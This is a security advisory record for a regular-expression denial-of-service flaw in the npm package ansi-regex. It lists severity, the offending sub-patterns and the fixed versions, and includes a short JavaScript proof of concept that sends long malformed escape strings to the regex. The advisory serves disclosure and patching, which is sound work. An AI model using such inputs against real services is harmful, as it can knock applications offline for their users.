GHSA-93q8-gq69-wqmw

Suggest an improvement
Source
https://github.com/advisories/GHSA-93q8-gq69-wqmw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-93q8-gq69-wqmw/GHSA-93q8-gq69-wqmw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-93q8-gq69-wqmw
Aliases
Related
Published
2021-09-20T20:20:09Z
Modified
2023-11-01T04:55:56.929543Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Inefficient Regular Expression Complexity in chalk/ansi-regex
Details

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

References

Affected packages

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.0.0
Fixed
6.0.1

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
5.0.0
Fixed
5.0.1

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
4.0.0
Fixed
4.1.1

npm / ansi-regex

Package

Affected ranges

Type
SEMVER
Events
Introduced
3.0.0
Fixed
3.0.1